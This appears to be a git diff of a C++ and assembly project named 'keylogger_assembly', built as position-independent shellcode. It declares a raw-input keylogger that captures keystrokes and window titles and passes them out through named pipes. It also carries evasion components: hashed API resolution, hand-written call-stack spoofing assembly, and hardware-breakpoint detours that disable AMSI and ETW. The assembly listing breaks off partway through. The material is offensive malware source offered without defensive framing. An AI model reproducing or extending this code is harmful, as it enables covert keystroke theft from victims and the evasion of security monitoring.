ULONG ( STDMETHODCALLTYPE *AddRef )(
|
||||
ICLRMetaHost * This);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *Release )(
|
||||
ICLRMetaHost * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetRuntime )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ LPCWSTR pwzVersion,
|
||||
/* [in] */ REFIID iid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppRuntime);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetVersionFromFile )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ LPCWSTR pwzFilePath,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *EnumerateInstalledRuntimes )(
|
||||
ICLRMetaHost * This,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *EnumerateLoadedRuntimes )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *RequestRuntimeLoadedNotification )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryLegacyV2RuntimeBinding )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *ExitProcess )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ INT32 iExitCode);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRMetaHostVtbl;
|
||||
|
||||
interface ICLRMetaHost
|
||||
{
|
||||
CONST_VTBL struct ICLRMetaHostVtbl *lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
|
||||
#ifdef COBJMACROS
|
||||
|
||||
|
||||
#define ICLRMetaHost_QueryInterface(This,riid,ppvObject) \
|
||||
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
|
||||
|
||||
#define ICLRMetaHost_AddRef(This) \
|
||||
( (This)->lpVtbl -> AddRef(This) )
|
||||
|
||||
#define ICLRMetaHost_Release(This) \
|
||||
( (This)->lpVtbl -> Release(This) )
|
||||
|
||||
|
||||
#define ICLRMetaHost_GetRuntime(This,pwzVersion,iid,ppRuntime) \
|
||||
( (This)->lpVtbl -> GetRuntime(This,pwzVersion,iid,ppRuntime) )
|
||||
|
||||
#define ICLRMetaHost_GetVersionFromFile(This,pwzFilePath,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetVersionFromFile(This,pwzFilePath,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRMetaHost_EnumerateInstalledRuntimes(This,ppEnumerator) \
|
||||
( (This)->lpVtbl -> EnumerateInstalledRuntimes(This,ppEnumerator) )
|
||||
|
||||
#define ICLRMetaHost_EnumerateLoadedRuntimes(This,hndProcess,ppEnumerator) \
|
||||
( (This)->lpVtbl -> EnumerateLoadedRuntimes(This,hndProcess,ppEnumerator) )
|
||||
|
||||
#define ICLRMetaHost_RequestRuntimeLoadedNotification(This,pCallbackFunction) \
|
||||
( (This)->lpVtbl -> RequestRuntimeLoadedNotification(This,pCallbackFunction) )
|
||||
|
||||
#define ICLRMetaHost_QueryLegacyV2RuntimeBinding(This,riid,ppUnk) \
|
||||
( (This)->lpVtbl -> QueryLegacyV2RuntimeBinding(This,riid,ppUnk) )
|
||||
|
||||
#define ICLRMetaHost_ExitProcess(This,iExitCode) \
|
||||
( (This)->lpVtbl -> ExitProcess(This,iExitCode) )
|
||||
|
||||
#endif /* COBJMACROS */
|
||||
|
||||
|
||||
#endif /* C style interface */
|
||||
|
||||
|
||||
|
||||
|
||||
#endif /* __ICLRMetaHost_INTERFACE_DEFINED__ */
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0002 */
|
||||
/* [local] */
|
||||
|
||||
HRESULT WINAPI CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID *ppInterface);
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_s_ifspec;
|
||||
|
||||
/* Additional Prototypes for ALL interfaces */
|
||||
|
||||
/* end of Additional Prototypes */
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#endif // CLR_H
|
||||
@@ -0,0 +1,535 @@
|
||||
#ifndef GENERAL_HPP
|
||||
#define GENERAL_HPP
|
||||
|
||||
#include <Native.hpp>
|
||||
#include <Clr.hpp>
|
||||
#include <ntstatus.h>
|
||||
|
||||
namespace mscorlib {
|
||||
#include <Mscoree.hpp>
|
||||
}
|
||||
|
||||
#define Dbg1( x, ... ) Instance.Win32.DbgPrint( x, ##__VA_ARGS__ )
|
||||
#define Dbg2( x, ... ) Instance->Win32.DbgPrint( x, ##__VA_ARGS__ )
|
||||
|
||||
typedef _PropertyInfo IPropertyInfo;
|
||||
typedef _AppDomain IAppDomain;
|
||||
typedef _Assembly IAssembly;
|
||||
typedef _Type IType;
|
||||
typedef _MethodInfo IMethodInfo;
|
||||
typedef BindingFlags IBindingFlags;
|
||||
|
||||
#define PIPE_BUFFER_LENGTH 0x10000
|
||||
#define DECLAPI( x ) decltype( x ) * x
|
||||
#define G_INSTANCE INSTANCE* Instance = (INSTANCE*)( NtCurrentPeb()->TelemetryCoverageHeader );
|
||||
#define DECLFN __attribute__( ( section( ".text$B" ) ) )
|
||||
|
||||
#define min(a, b) ((a) < (b) ? (a) : (b))
|
||||
|
||||
#define NtCurrentThreadID HandleToUlong( NtCurrentTeb()->ClientId.UniqueThread )
|
||||
|
||||
#define RSL_IMP( w, m ) { \
|
||||
for ( int i = 1; i < HashPlural<decltype( Instance->w, m )>(); i++ ) { \
|
||||
reinterpret_cast<UPTR*>( &w )[ i ] = LoadApi( m, reinterpret_cast<UPTR*>( &m )[ i ] ); \
|
||||
} \
|
||||
}
|
||||
|
||||
|
||||
// definitions for Keylogger
|
||||
#define KEYLOG_CLASS_NAME L"KeyloggerClass" //need to change later
|
||||
#define HID_USAGE_PAGE_GENERIC 0x01
|
||||
#define HID_USAGE_GENERIC_KEYBOARD 0x06
|
||||
#define KEYLOG_BUFFER_LEN 250
|
||||
|
||||
auto DECLFN CALLBACK WndCallback(
|
||||
_In_ HWND Window,
|
||||
_In_ UINT Message,
|
||||
_In_ WPARAM WParam,
|
||||
_In_ LPARAM LParam
|
||||
)->LRESULT;
|
||||
|
||||
auto DECLFN SafePipeWrite(
|
||||
_In_ CONST VOID* Buffer,
|
||||
_In_ DWORD BytesToWrite
|
||||
) -> BOOL;
|
||||
|
||||
auto DECLFN CreateAndWaitPipe() -> BOOL;
|
||||
|
||||
VOID ProcessWindowTitle();
|
||||
VOID ProcessKey(UINT Key);
|
||||
|
||||
EXTERN_C PVOID StartPtr();
|
||||
EXTERN_C PVOID EndPtr();
|
||||
EXTERN_C PVOID SpoofCall( ... );
|
||||
|
||||
auto FindGadget(
|
||||
_In_ PVOID ModuleBase,
|
||||
_In_ UINT16 RegValue
|
||||
) -> PVOID;
|
||||
|
||||
auto LoadApi(
|
||||
_In_ const UPTR ModBase,
|
||||
_In_ const UPTR SymbHash
|
||||
) -> UPTR;
|
||||
|
||||
auto LoadModule(
|
||||
_In_ const ULONG LibHash
|
||||
) -> UPTR;
|
||||
|
||||
template <typename T>
|
||||
constexpr SIZE_T StructCount() {
|
||||
SIZE_T Count = 0;
|
||||
SIZE_T StructLen = sizeof( T );
|
||||
|
||||
while ( StructLen > Count * sizeof( UPTR ) ) {
|
||||
Count++;
|
||||
}
|
||||
|
||||
return Count;
|
||||
}
|
||||
|
||||
template <typename T = char>
|
||||
inline auto DECLFN HashStr(
|
||||
_In_ const T* String
|
||||
) -> UPTR {
|
||||
ULONG CstHash = 0x515528a;
|
||||
BYTE Value = 0;
|
||||
|
||||
while ( * String ) {
|
||||
Value = static_cast<BYTE>( *String++ );
|
||||
|
||||
if ( Value >= 'a' ) {
|
||||
Value -= 0x20;
|
||||
}
|
||||
|
||||
CstHash ^= Value;
|
||||
CstHash *= 0x01000193;
|
||||
}
|
||||
|
||||
return CstHash;
|
||||
}
|
||||
|
||||
#define RangeHeadList( HEAD_LIST, TYPE, SCOPE ) \
|
||||
{ \
|
||||
PLIST_ENTRY __Head = ( & HEAD_LIST ); \
|
||||
PLIST_ENTRY __Next = { 0 }; \
|
||||
TYPE Entry = (TYPE)__Head->Flink; \
|
||||
for ( ; __Head != (PLIST_ENTRY)Entry; ) { \
|
||||
__Next = ((PLIST_ENTRY)Entry)->Flink; \
|
||||
SCOPE \
|
||||
Entry = (TYPE)(__Next); \
|
||||
} \
|
||||
}
|
||||
|
||||
struct _FRAME_INFO {
|
||||
PVOID Ptr; // pointer to function + offset
|
||||
UPTR Size; // stack size
|
||||
};
|
||||
typedef _FRAME_INFO FRAME_INFO;
|
||||
|
||||
struct _STACK_FRAME {
|
||||
WCHAR* DllPath;
|
||||
ULONG Offset;
|
||||
ULONG TotalSize;
|
||||
BOOL ReqLoadLib;
|
||||
BOOL SetsFramePtr;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIdx;
|
||||
};
|
||||
typedef _STACK_FRAME STACK_FRAME;
|
||||
|
||||
#define KH_METHOD_INLINE 0x15
|
||||
#define KH_METHOD_FORK 0x20
|
||||
|
||||
#define KH_INJECT_EXPLICIT 0x100
|
||||
#define KH_INJECT_SPAWN 0x200
|
||||
|
||||
struct _INSTANCE {
|
||||
PVOID HeapHandle;
|
||||
PVOID Start;
|
||||
UPTR Size;
|
||||
|
||||
WCHAR g_TitleBuffer[KEYLOG_BUFFER_LEN + 1];
|
||||
|
||||
struct {
|
||||
BOOL IsSpoof;
|
||||
BOOL KeepLoad;
|
||||
ULONG Bypass;
|
||||
ULONG ExecMethod;
|
||||
ULONG ForkCategory;
|
||||
} Ctx;
|
||||
|
||||
struct {
|
||||
CHAR* Name;
|
||||
HANDLE Write;
|
||||
HANDLE Read;
|
||||
} Pipe;
|
||||
|
||||
struct {
|
||||
FRAME_INFO First; // 0x00 // RtlUserThreadStart+0x21
|
||||
FRAME_INFO Second; // 0x10 // BaseThreadInitThunk+0x14
|
||||
FRAME_INFO Gadget; // 0x20 // rbp gadget
|
||||
|
||||
UPTR Restore; // 0x30
|
||||
UPTR Ssn; // 0x38
|
||||
UPTR Ret; // 0x40
|
||||
|
||||
UPTR Rbx; // 0x48
|
||||
UPTR Rdi; // 0x50
|
||||
UPTR Rsi; // 0x58
|
||||
UPTR R12; // 0x60
|
||||
UPTR R13; // 0x68
|
||||
UPTR R14; // 0x70
|
||||
UPTR R15; // 0x78
|
||||
|
||||
UPTR ArgCount; // 0x80
|
||||
} Spf;
|
||||
|
||||
struct {
|
||||
UPTR KernelBase;
|
||||
UPTR Kernel32;
|
||||
UPTR Ntdll;
|
||||
UPTR Msvcrt;
|
||||
UPTR User32;
|
||||
|
||||
DECLAPI( NtClose );
|
||||
DECLAPI( DbgPrint );
|
||||
|
||||
DECLAPI( GetProcAddress );
|
||||
DECLAPI( GetModuleHandleA );
|
||||
DECLAPI( LoadLibraryA );
|
||||
|
||||
DECLAPI( NtProtectVirtualMemory );
|
||||
|
||||
DECLAPI( RtlAllocateHeap );
|
||||
DECLAPI( RtlReAllocateHeap );
|
||||
DECLAPI( RtlFreeHeap );
|
||||
|
||||
DECLAPI( CLRCreateInstance );
|
||||
|
||||
DECLAPI( SafeArrayGetUBound );
|
||||
DECLAPI( SafeArrayGetLBound );
|
||||
DECLAPI( SafeArrayAccessData );
|
||||
DECLAPI( SafeArrayCreateVector );
|
||||
DECLAPI( SafeArrayCreate );
|
||||
DECLAPI( SafeArrayDestroy );
|
||||
DECLAPI( SafeArrayPutElement );
|
||||
DECLAPI( SysAllocString );
|
||||
DECLAPI( SysFreeString );
|
||||
DECLAPI( VariantClear );
|
||||
|
||||
DECLAPI( CommandLineToArgvW );
|
||||
|
||||
DECLAPI( GetConsoleWindow );
|
||||
DECLAPI( AllocConsoleWithOptions );
|
||||
DECLAPI( FreeConsole );
|
||||
|
||||
DECLAPI( CreatePipe );
|
||||
DECLAPI( CreateNamedPipeA );
|
||||
DECLAPI( ConnectNamedPipe );
|
||||
DECLAPI( DisconnectNamedPipe );
|
||||
DECLAPI( CreateFileA );
|
||||
DECLAPI( WriteFile );
|
||||
DECLAPI( ReadFile );
|
||||
DECLAPI( FlushFileBuffers );
|
||||
DECLAPI( SetStdHandle );
|
||||
DECLAPI( GetStdHandle );
|
||||
|
||||
DECLAPI( NtGetContextThread );
|
||||
DECLAPI( NtContinue );
|
||||
DECLAPI( RtlCaptureContext );
|
||||
DECLAPI( NtDelayExecution );
|
||||
|
||||
DECLAPI( RtlAddVectoredExceptionHandler );
|
||||
DECLAPI( RtlRemoveVectoredExceptionHandler );
|
||||
|
||||
DECLAPI( RtlInitializeCriticalSection );
|
||||
DECLAPI( RtlEnterCriticalSection );
|
||||
DECLAPI( RtlLeaveCriticalSection );
|
||||
|
||||
DECLAPI( RtlLookupFunctionEntry );
|
||||
DECLAPI( RtlUserThreadStart );
|
||||
DECLAPI( BaseThreadInitThunk );
|
||||
|
||||
DECLAPI( WaitForSingleObject );
|
||||
|
||||
DECLAPI( RtlExitUserProcess );
|
||||
DECLAPI( RtlExitUserThread );
|
||||
|
||||
DECLAPI(RegisterClassExW);
|
||||
DECLAPI(CreateWindowExW);
|
||||
DECLAPI(RegisterRawInputDevices);
|
||||
DECLAPI(GetMessageW);
|
||||
DECLAPI(PeekMessageW);
|
||||
DECLAPI(PostMessageW);
|
||||
DECLAPI(TranslateMessage);
|
||||
DECLAPI(DispatchMessageW);
|
||||
DECLAPI(PostQuitMessage);
|
||||
DECLAPI(GetRawInputData);
|
||||
DECLAPI(HeapAlloc);
|
||||
DECLAPI(GetProcessHeap);
|
||||
DECLAPI(DefWindowProcW);
|
||||
DECLAPI(RtlSecureZeroMemory);
|
||||
DECLAPI(GetForegroundWindow);
|
||||
DECLAPI(GetWindowThreadProcessId);
|
||||
DECLAPI(GetWindowTextW);
|
||||
DECLAPI(GetKeyboardState);
|
||||
DECLAPI(GetKeyState);
|
||||
DECLAPI(ToUnicode);
|
||||
DECLAPI(MapVirtualKeyW);
|
||||
DECLAPI(HeapFree);
|
||||
|
||||
int(__cdecl* swprintf)(wchar_t*, SIZE_T, const wchar_t*, ...);
|
||||
size_t(__cdecl* wcslen)(const wchar_t* wcs);
|
||||
int (__cdecl* wcsncmp)(const wchar_t* wcs1, const wchar_t* wcs2, size_t num);
|
||||
|
||||
} Win32;
|
||||
|
||||
struct {
|
||||
PVOID Handler;
|
||||
BOOL Init;
|
||||
|
||||
PVOID NtTraceEvent;
|
||||
PVOID AmsiScanBuffer;
|
||||
PVOID ExitPtr;
|
||||
|
||||
UPTR Addresses[4];
|
||||
UPTR Callbacks[4];
|
||||
} Hwbp;
|
||||
};
|
||||
typedef _INSTANCE INSTANCE;
|
||||
|
||||
namespace Spoof {
|
||||
auto Call(
|
||||
_In_ UPTR Fnc,
|
||||
_In_ UPTR Ssn,
|
||||
_In_ UPTR Arg1 = 0,
|
||||
_In_ UPTR Arg2 = 0,
|
||||
_In_ UPTR Arg3 = 0,
|
||||
_In_ UPTR Arg4 = 0,
|
||||
_In_ UPTR Arg5 = 0,
|
||||
_In_ UPTR Arg6 = 0,
|
||||
_In_ UPTR Arg7 = 0,
|
||||
_In_ UPTR Arg8 = 0,
|
||||
_In_ UPTR Arg9 = 0,
|
||||
_In_ UPTR Arg10 = 0,
|
||||
_In_ UPTR Arg11 = 0,
|
||||
_In_ UPTR Arg12 = 0
|
||||
) -> PVOID;
|
||||
|
||||
auto StackSize(
|
||||
UPTR RtmFunction,
|
||||
UPTR ImgBase
|
||||
) -> UPTR;
|
||||
|
||||
auto StackSizeWrapper(
|
||||
PVOID RetAddress
|
||||
) -> UPTR;
|
||||
}
|
||||
|
||||
struct _PARSER {
|
||||
CHAR* Original;
|
||||
CHAR* Buffer;
|
||||
UINT32 Size;
|
||||
UINT32 Length;
|
||||
};
|
||||
typedef _PARSER PARSER;
|
||||
|
||||
namespace Heap {
|
||||
template <typename T>
|
||||
auto DECLFN Alloc(
|
||||
UPTR Size
|
||||
) -> T {
|
||||
G_INSTANCE
|
||||
return reinterpret_cast<T>( Instance->Win32.RtlAllocateHeap( Instance->HeapHandle, HEAP_ZERO_MEMORY, Size ) );
|
||||
}
|
||||
|
||||
template <typename T>
|
||||
auto DECLFN ReAlloc(
|
||||
T Block,
|
||||
UPTR Size
|
||||
) -> T {
|
||||
G_INSTANCE
|
||||
return reinterpret_cast<T>( Instance->Win32.RtlReAllocateHeap( Instance->HeapHandle, HEAP_ZERO_MEMORY, Block, Size ) );
|
||||
}
|
||||
|
||||
static auto DECLFN Free( PVOID Block ) -> BOOL {
|
||||
G_INSTANCE
|
||||
return Instance->Win32.RtlFreeHeap( Instance->HeapHandle, 0, Block );
|
||||
}
|
||||
}
|
||||
|
||||
namespace Str {
|
||||
auto StartsWith(
|
||||
BYTE* Str,
|
||||
BYTE* Prefix
|
||||
) -> BOOL;
|
||||
|
||||
auto CompareW(
|
||||
LPCWSTR Str1,
|
||||
LPCWSTR Str2
|
||||
) -> INT;
|
||||
|
||||
auto LengthA(
|
||||
LPCSTR String
|
||||
) -> SIZE_T;
|
||||
|
||||
auto LengthW(
|
||||
LPCWSTR String
|
||||
) -> SIZE_T;
|
||||
|
||||
auto CharToWChar(
|
||||
PWCHAR Dest,
|
||||
PCHAR Src,
|
||||
SIZE_T MaxAllowed
|
||||
) -> SIZE_T;
|
||||
}
|
||||
|
||||
namespace Mem {
|
||||
auto Copy(
|
||||
_In_ PVOID Dst,
|
||||
_In_ PVOID Src,
|
||||
_In_ UPTR Size
|
||||
) -> PVOID;
|
||||
|
||||
auto Set(
|
||||
_In_ PVOID Addr,
|
||||
_In_ UCHAR Val,
|
||||
_In_ UPTR Size
|
||||
) -> void;
|
||||
|
||||
auto Zero(
|
||||
_In_ PVOID Addr,
|
||||
_In_ UPTR Size
|
||||
) -> void;
|
||||
}
|
||||
|
||||
namespace Parser {
|
||||
auto New(
|
||||
_In_ PARSER* parser,
|
||||
_In_ PVOID Buffer
|
||||
) -> VOID;
|
||||
|
||||
auto Pad(
|
||||
_In_ PARSER* parser,
|
||||
_Out_ ULONG size
|
||||
) -> BYTE*;
|
||||
|
||||
auto Byte(
|
||||
_In_ PARSER* Parser
|
||||
) -> BYTE;
|
||||
|
||||
auto Int16(
|
||||
_In_ PARSER* Parser
|
||||
) -> INT16;
|
||||
|
||||
auto Int32(
|
||||
_In_ PARSER* Parser
|
||||
) -> INT32;
|
||||
|
||||
auto Int64(
|
||||
_In_ PARSER* Parser
|
||||
) -> INT64;
|
||||
|
||||
auto Bytes(
|
||||
_In_ PARSER* parser,
|
||||
_Out_ ULONG* size = 0
|
||||
) -> BYTE*;
|
||||
|
||||
auto Str(
|
||||
_In_ PARSER* parser,
|
||||
_In_ ULONG* size = 0
|
||||
) -> PCHAR;
|
||||
|
||||
auto Wstr(
|
||||
_In_ PARSER* parser,
|
||||
_In_ ULONG* size = 0
|
||||
) -> PWCHAR;
|
||||
|
||||
auto Destroy(
|
||||
_In_ PARSER* Parser
|
||||
) -> BOOL;
|
||||
}
|
||||
|
||||
typedef struct _DESCRIPTOR_HOOK {
|
||||
ULONG ThreadID;
|
||||
HANDLE Handle;
|
||||
BOOL Processed;
|
||||
INT8 Drx;
|
||||
UPTR Address;
|
||||
VOID ( *Detour )( PCONTEXT );
|
||||
struct _DESCRIPTOR_HOOK* Next;
|
||||
struct _DESCRIPTOR_HOOK* Prev;
|
||||
} DESCRIPTOR_HOOK, *PDESCRIPTOR_HOOK;
|
||||
|
||||
#define KEYLOGGER_BYPASS_NONE 0x000
|
||||
#define KEYLOGGER_BYPASS_EXIT 0x200
|
||||
#define KEYLOGGER_BYPASS_ALL 0x100
|
||||
#define KEYLOGGER_BYPASS_ETW 0x400
|
||||
#define KEYLOGGER_BYPASS_AMSI 0x700
|
||||
|
||||
enum Dr {
|
||||
x0,
|
||||
x1,
|
||||
x2,
|
||||
x3
|
||||
};
|
||||
|
||||
namespace Hwbp {
|
||||
auto SetDr7(
|
||||
UPTR ActVal,
|
||||
UPTR NewVal,
|
||||
INT StartPos,
|
||||
INT BitsCount
|
||||
) -> UPTR;
|
||||
|
||||
auto Install(
|
||||
UPTR Address,
|
||||
INT8 Drx,
|
||||
PVOID Callback
|
||||
) -> BOOL;
|
||||
|
||||
auto Uninstall(
|
||||
UPTR Address
|
||||
) -> BOOL;
|
||||
|
||||
auto SetBreak(
|
||||
UPTR Address,
|
||||
INT8 Drx,
|
||||
BOOL Init
|
||||
) -> BOOL;
|
||||
|
||||
auto Insert(
|
||||
UPTR Address,
|
||||
INT8 Drx,
|
||||
BOOL Init
|
||||
) -> BOOL;
|
||||
|
||||
auto Init( VOID ) -> BOOL;
|
||||
auto Clean( VOID ) -> BOOL;
|
||||
auto KeyloggerInit( INT32 BypassFlags ) -> BOOL;
|
||||
auto KeyloggerExit( VOID ) -> BOOL;
|
||||
|
||||
auto SetArg(
|
||||
PCONTEXT Ctx,
|
||||
UPTR Val,
|
||||
ULONG Idx
|
||||
) -> VOID;
|
||||
|
||||
auto GetArg(
|
||||
PCONTEXT Ctx,
|
||||
ULONG Idx
|
||||
) -> UPTR;
|
||||
|
||||
auto HandleException(
|
||||
EXCEPTION_POINTERS* e
|
||||
) -> LONG;
|
||||
|
||||
auto PatchExitDetour( PCONTEXT Ctx ) -> VOID;
|
||||
auto EtwDetour( PCONTEXT Ctx ) -> VOID;
|
||||
auto AmsiDetour( PCONTEXT Ctx ) -> VOID;
|
||||
}
|
||||
|
||||
#endif // GENERAL_HPP
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,11 @@
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*( .text$A );
|
||||
*( .text$B );
|
||||
*( .rdata* );
|
||||
*( .text$C );
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
NAME := keylogger_assembly
|
||||
|
||||
BUILD_PATH ?= .
|
||||
|
||||
CCX64 := clang++ -target x86_64-w64-mingw32
|
||||
CCX86 := clang++ -target i686-w64-mingw32
|
||||
ASMCC := nasm
|
||||
|
||||
CFLAGS := -Os -nostdlib -fno-asynchronous-unwind-tables -std=c++20 -fPIC
|
||||
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 -w -mno-sse -s -Wno-error=nested-anon-types
|
||||
CFLAGS += -ffunction-sections -falign-jumps=1 -falign-labels=1 -mrdrnd -fno-builtin -ffreestanding
|
||||
CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup -masm=intel -fno-exceptions
|
||||
CFLAGS += -fms-extensions -IInclude -Wl,-TLinker.ld -Wno-error=anonymous-struct
|
||||
|
||||
SRC := $(wildcard Source/*.cc)
|
||||
OBJ64 := $(SRC:%.cc=%.x64.obj)
|
||||
OBJ86 := $(SRC:%.cc=%.x86.obj)
|
||||
|
||||
all: release debug
|
||||
release: x64 x86
|
||||
debug: x64-debug x86-debug
|
||||
|
||||
x64-release: x64
|
||||
x86-release: x86
|
||||
|
||||
x64-debug: CFLAGS += -D DEBUG
|
||||
x64-debug: x64
|
||||
|
||||
x86-debug: CFLAGS += -D DEBUG
|
||||
x86-debug: x86
|
||||
|
||||
x64: nasm64 $(OBJ64)
|
||||
@ echo "compiling x64 project"
|
||||
@ $(CCX64) $(BUILD_PATH)/Bin/obj/*.x64.obj -o $(BUILD_PATH)/Bin/$(NAME).x64.exe $(CFLAGS)
|
||||
@ objcopy --dump-section .text=$(BUILD_PATH)/Bin/$(NAME).x64.bin $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
@ rm $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
|
||||
%.x64.obj: %.cc
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX64) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
|
||||
%.x86.obj: %.cc
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX86) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
|
||||
nasm64:
|
||||
@ $(ASMCC) -f win64 Source/Asm/Start.x64.s -o $(BUILD_PATH)/Bin/obj/start.x64.obj
|
||||
@ $(ASMCC) -f win64 Source/Asm/Spoof.x64.s -o $(BUILD_PATH)/Bin/obj/spf.x64.obj
|
||||
|
||||
clean:
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x64.obj
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x86.obj
|
||||
@ rm -f $(BUILD_PATH)/*.exe
|
||||
@ rm -f $(BUILD_PATH)/*.Bin
|
||||
@ echo "removed object files"
|
||||
@@ -0,0 +1,137 @@
|
||||
[BITS 64]
|
||||
|
||||
global SpoofCall
|
||||
|
||||
[SECTION .text$B]
|
||||
SpoofCall:
|
||||
; ---------------------------------------------------------------------
|
||||
; Initial Setup
|
||||
; ---------------------------------------------------------------------
|
||||
pop rax ; Save the real return address in rax
|
||||
mov r10, rdi ; Preserve original rdi (1st param) in r10
|
||||
mov r11, rsi ; Preserve original rsi (2nd param) in r11
|
||||
|
||||
mov rdi, [rsp + 40] ; Load spoofing struct pointer into rdi
|
||||
mov rsi, [rsp + 32] ; Load target function address into rsi
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Save Original Register State
|
||||
; ---------------------------------------------------------------------
|
||||
mov [rdi + 0x50], r10 ; Store original rdi in struct
|
||||
mov [rdi + 0x58], r11 ; Store original rsi in struct
|
||||
mov [rdi + 0x60], r12 ; Store original r12 in struct
|
||||
mov [rdi + 0x68], r13 ; Store original r13 in struct
|
||||
mov [rdi + 0x70], r14 ; Store original r14 in struct
|
||||
mov [rdi + 0x78], r15 ; Store original r15 in struct
|
||||
|
||||
mov r12, rax ; Save real return address in r12
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepare Stack Argument Handling
|
||||
; ----------------------------------------------------------------- ----
|
||||
xor r11, r11 ; r11 = counter for processed stack args
|
||||
mov r13, [rdi + 0x80] ; Get argument count from struct (ArgCount at 0x80)
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [rdi + 0x08] ; add RtlUserThreadStart frame
|
||||
add r14, [rdi + 0x18] ; add BaseThreadInitThunk frame
|
||||
add r14, [rdi + 0x28] ; add Gadget frame
|
||||
sub r14, 0x20 ; space for return address
|
||||
|
||||
lea r10, [rsp + 0x28]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Stack Argument Processing Loop
|
||||
; ---------------------------------------------------------------------
|
||||
.set_args:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je .finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [r10]
|
||||
pop qword [r15]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp .set_args
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Setup Spoofed Call Stack
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
.finish:
|
||||
sub rsp, 0x200
|
||||
push 0 ; Terminate call stack with NULL return
|
||||
|
||||
; Build RtlUserThreadStart frame
|
||||
sub rsp, [rdi + 0x08] ; Allocate frame space
|
||||
mov r11, [rdi + 0x00] ; Get frame return address
|
||||
mov [rsp], r11 ; Set return address
|
||||
|
||||
; Build BaseThreadInitThunk frame
|
||||
sub rsp, [rdi + 0x18] ; Allocate frame space
|
||||
mov r11, [rdi + 0x10] ; Get frame return address
|
||||
mov [rsp], r11 ; Set return address
|
||||
|
||||
; Build gadget frame
|
||||
sub rsp, [rdi + 0x28] ; Allocate frame space
|
||||
mov r11, [rdi + 0x20] ; Get frame return address
|
||||
mov [rsp], r11 ; Set return address
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepare for Spoofed Call and Restoration
|
||||
; ---------------------------------------------------------------------
|
||||
mov r11, rsi ; Save target function address in r11
|
||||
|
||||
; Configure restoration information in struct:
|
||||
mov [rdi + 0x40], r12 ; Store real return address
|
||||
mov [rdi + 0x48], rbx ; Preserve original rbx
|
||||
lea rbx, [rel .restore] ; Get address of restore routine
|
||||
mov [rdi], rbx ; Store restore address in struct
|
||||
mov rbx, rdi ; Move struct address to rbx (will be preserved)
|
||||
|
||||
; Prepare for potential syscall
|
||||
